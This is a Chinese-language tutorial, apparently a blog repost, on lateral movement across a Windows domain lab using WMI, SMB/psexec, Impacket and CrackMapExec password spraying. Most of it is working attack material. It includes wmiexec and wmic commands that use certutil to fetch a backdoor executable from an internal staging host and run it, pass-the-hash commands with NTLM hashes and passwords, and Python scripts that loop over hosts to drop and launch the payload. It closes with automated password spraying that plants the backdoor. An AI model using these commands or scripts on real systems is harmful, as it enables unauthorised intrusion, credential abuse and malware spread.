【内网安全】横向移动-Wmi-Smb-CME密码喷射

环境介绍

已经获取到了webserver服务器的权限
横向移动到其他域内主机
域信息收集-横向移动前置

1. net user /domain 获取域内用户
2. mimikatz logonpasswords
3. Ladon Adfinder BloodHound

复制代码

判定是不是在域内

CS： shell net time /domian

同时获取到了它的域名
获取域控主机的内网ip

CS：shell ping OWA2010CN-God.god.org

推测 192.168.3.21 就是域控主机
端口扫描内网

因为内网是在3网段，端口扫描3网段

目标列表

获取主机密码

可以抓hash也可以抓明文

当完成以上步调后，就可以开始进行横向移动了
域横向移动-WMI-自带&命令&套件&插件

WMI是通过135端口进行使用，支持用户名明文或者hash的方式进行认证，
并且该方法不会在目标日志系统留下痕迹。
以下有三种WMI横向移动方法
1.wmic

系统自带：(单执行：即无回显)

让192.168.3.32主机下载192.168.3.31主机上的4445.exe

1. wmic /node:192.168.3.32 /user:administrator /password:Admin12345 process call create "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4445.exe c:/4445.exe"

复制代码

成功后不会显示回显

但已经执行成功了

运行4445.exe

1. wmic /node:192.168.3.32 /user:administrator /password:Admin12345 process call create "cmd.exe c:/4445.exe"

复制代码

2.cscript

系统自带：(交互式)

上传wmiexec.vbs到web主机上

1. cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345

复制代码

但这个不得当在 CS 上面用
得当在shell里面做横向移动
3.wmiexec-impacket（保举）

第三方：(交互式&单执行)

这个有两种运行方式

• 上传到主机上运行(不保举，轻易被杀且文件过大)
  
• 建立socks节点在本机上运行(保举)
  

建立节点进行通讯

端口任意设置，但在安全组里面要设置开启

用代理软件毗连代理即可

这时就可以用本机进行通讯了
执行命令

登录192.168.3.32主机并执行whoami命令

1. python wmiexec.py ./administrator:admin!@#45@192.168.3.32 "whoami"

复制代码

hash命令执行

同上，但用 hash 进行命令执行

1. python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"

复制代码

生成代理转发上线后门

监听地址设置为web服务器的内网地址（因为要与其他域内主机进行通讯）

生成后门

下载后门：

上传后门到网站服务器根目录 C:\inetpub\wwwroot

下载后门

1. python wmiexec.py ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe"

复制代码

下载成功

执行后门：

1. python wmiexec.py ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c c:/4455.exe"

复制代码

成功上线

也可以将下载执行合并在一起，一条命令办理

1. python wmiexec.py ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:\4455.exe"

复制代码

域横向移动-SMB-自带&命令&套件&插件

使用SMB服务可以通过明文或hash通报来远程执行，
条件:445服务端口开放。
1.psexec

PsTools - Sysinternals | Microsoft Learn
系统官方工具包：(交互式 windows官方工具)

需要管理员权限运行
反弹cmd

1. psexec64.exe \\192.168.3.32 -u administrator -p admin!@#45 -s cmd

复制代码

第三方：(交互式 第三方开发的工具)

第三方的支持用 Hash 毗连，且不需要管理员执行

1. python psexec.py  -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

复制代码

用账号密码毗连

1. python psexec.py ./administrator:admin!@# 45@192.168.3.32

复制代码

CS插件：

cs-psexec

监听器选择内网的这个，修改一下用户名

这个域 如果填写就是用域用户的administrator进行登录，不填就是当地登录
有时候域用户登不上(因为账号密码需要域控的密码），可以不填写域试试
这里不填就上线成功了

2.smbexec-impacket

第三方：(交互式)

明文密码登录

1. python smbexec.py ./administrator:admin!@#45@192.168.3.32

复制代码

1. smbexec god/administrator:admin!@#45@192.168.3.32

复制代码

上线失败，因为登录的是域内的administrator 密码不对
hash登录

1. python smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

复制代码

3.services(不好用)

系统自带：(单执行)

1. services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 create -name shell -display shellexec -path C:\Windows\System32\shell.exe

复制代码

1. services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 start -name shell

复制代码

域横向移动-工具-Proxychains&CrackMapExec

1、Windows+Proxifier+Python_exp

1. import os
3. ips = {
4.     '192.168.3.21',
5.     '192.168.3.25',
6.     '192.168.3.29',
7.     '192.168.3.30',
8.     '192.168.3.32'
9. }
11. def down():
12.     for ip in ips:
13.         wmi_exec = 'D:\\Python\\python-3.8.10\\python.exe D:\\tools\内网\impacket-0.11.0\examples\\wmiexec.py ./administrator:admin!@#45@%s "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe"' % ip
14.         print(wmi_exec)
15.         os.system(wmi_exec)
17. def zx():
18.     for ip in ips:
19.         wmi_exec = 'D:\\Python\\python-3.8.10\\python.exe D:\\tools\内网\impacket-0.11.0\examples\\wmiexec.py ./administrator:admin!@#45@%s "c:/4455.exe"' % ip
20.         print(wmi_exec)
21.         os.system(wmi_exec)
23. if __name__ == '__main__':
24.     down()
25.     zx()

复制代码

运行脚本，成功上线了内网别的一台主机

对它抓密码凭证，成功获取出一个hash

这里给一个我本身修改后的脚本，支持明文与hash密码
本身修改一下脚本与python位置就行了

1. import subprocess
3. ips = {
4.     '192.168.3.21',
5.     '192.168.3.25',
6.     '192.168.3.29',
7.     '192.168.3.30',
8.     '192.168.3.32'
9. }
11. users = {
12.     'administrator'
13. }
15. passwords = {
16.     'admin!@#45'
17. }
19. hashes = {
20.     'ccef208c6485269c20db2cad21734fe7'
21. }
23. def execute_command(command, timeout=20):
24.     try:
25.         result = subprocess.run(command, shell=True, timeout=timeout)
26.         if result.returncode != 0:
27.             print(f'\033[93m账号或密码错误:\033[0m {command}\n')
28.     except subprocess.TimeoutExpired:
29.         print(f'\033[93m命令执行超时:\033[0m {command}\n')
30.     except Exception as e:
31.         print(f'\033[93m命令执行时出现错误:\033[0m {e}\n')
33. def down():
34.     for ip in ips:
35.         for user in users:
36.             for passwd in passwords:
37.                 wmi_exec = f'D:\\Python\\python-3.8.10\\python.exe D:\\tools\\内网\\impacket-0.11.0\\examples\\wmiexec.py ./{user}:{passwd}@{ip} "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe"'
38.                 print(f'\033[92m尝试下载文件:  当前ip: {ip}  当前用户: {user}  当前密码: {passwd}\033[0m')
39.                 print(wmi_exec)
40.                 execute_command(wmi_exec)
42. def zx():
43.     for ip in ips:
44.         for user in users:
45.             for passwd in passwords:
46.                 wmi_exec = f'D:\\Python\\python-3.8.10\\python.exe D:\\tools\\内网\\impacket-0.11.0\\examples\\wmiexec.py ./{user}:{passwd}@{ip} "cmd.exe /c c:/4455.exe"'
47.                 print(f'\033[92m尝试运行程序：  当前ip: {ip}  当前用户: {user}  当前密码: {passwd}\033[0m')
48.                 execute_command(wmi_exec)
50. def hash_down():
51.     for ip in ips:
52.         for user in users:
53.             for hash in hashes:
54.                 wmi_exec = f'D:\\Python\\python-3.8.10\\python.exe D:\\tools\\内网\\impacket-0.11.0\\examples\\wmiexec.py -hashes :{hash} ./{user}@{ip} "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe"'
55.                 print(wmi_exec)
56.                 print(f'\033[92m尝试下载文件:  当前ip: {ip}  当前用户: {user}  当前hash密码: {hash}\033[0m')
57.                 execute_command(wmi_exec)
59. def hash_zx():
60.     for ip in ips:
61.         for user in users:
62.             for hash in hashes:
63.                 wmi_exec = f'D:\\Python\\python-3.8.10\\python.exe D:\\tools\\内网\\impacket-0.11.0\\examples\\wmiexec.py -hashes :{hash} ./{user}@{ip} "cmd.exe /c c:/4455.exe"'
64.                 print(f'\033[92m尝试运行程序： 当前ip: {ip}  当前用户: {user}  当前hash密码: {hash}\033[0m')
65.                 print(wmi_exec)
66.                 execute_command(wmi_exec)
68. if __name__ == '__main__':
69.     down()
70.     zx()
71.     hash_down()
72.     hash_zx()

复制代码

2、Linux+Proxychains+CrackMapExec

CrackMapExec

Github：GitHub - byt3bl33d3r/CrackMapExec: A swiss army knife for pentesting networks
官方手册：Site Unreachable
部分案例：CrackMapExec：一款针对大型Windows活动目录(AD)的后渗透工具 - FreeBuf网络安全行业门户
下载对应release，建立socks毗连，设置socks代理，配置规则，调用
安装：Site Unreachable
我在服务器上试了半天没有成功，末了还是在当地kali上进行安装，（一条命令办理）
apt-get install crackmapexec
Linux Proxychains使用

安装使用：proxychains 安装和proxychains 代理nmap-CSDN博客
代理配置：Proxychains.conf
代理调用：Proxychains 命令
密码喷射域登录：

1. proxychains  crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45 '

复制代码

基本都失败了，因为用的域登录

密码喷射当地登录：

1. proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' --local-auth

复制代码

成功两个

hash密码登录

1. proxychains crackmapexec smb 192.168.3.21-32 -u administrator -H 'ccef208c6485269c20db2cad21734fe7'

复制代码

密码喷射当地登录命令执行：

1. proxychains crackmapexec  smb 192.168.3.21-32 -u administrator -p 'admin!@#45' -x 'whoami' --local-auth

复制代码

密码喷射当地登录命令执行上线：

1. proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:/4455.exe' --local-auth

复制代码

成功上线

密码喷射域登录命令执行上线：

1. proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:/4455.exe'

复制代码

密码喷射当地&域登录命令执行全自动上线：

1. 先创建两个txt 写入域内账号 密码（一行一条）
2. vim user.txt
3. vim pass.txt

复制代码

域登录全自动上线

1. proxychains crackmapexec smb 192.168.3.21-32 -u user.txt -p pass.txt -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:/4455.exe'

复制代码

当地登录全自动上线

1. proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p pass.txt -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:/4455.exe' --local-auth

复制代码

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。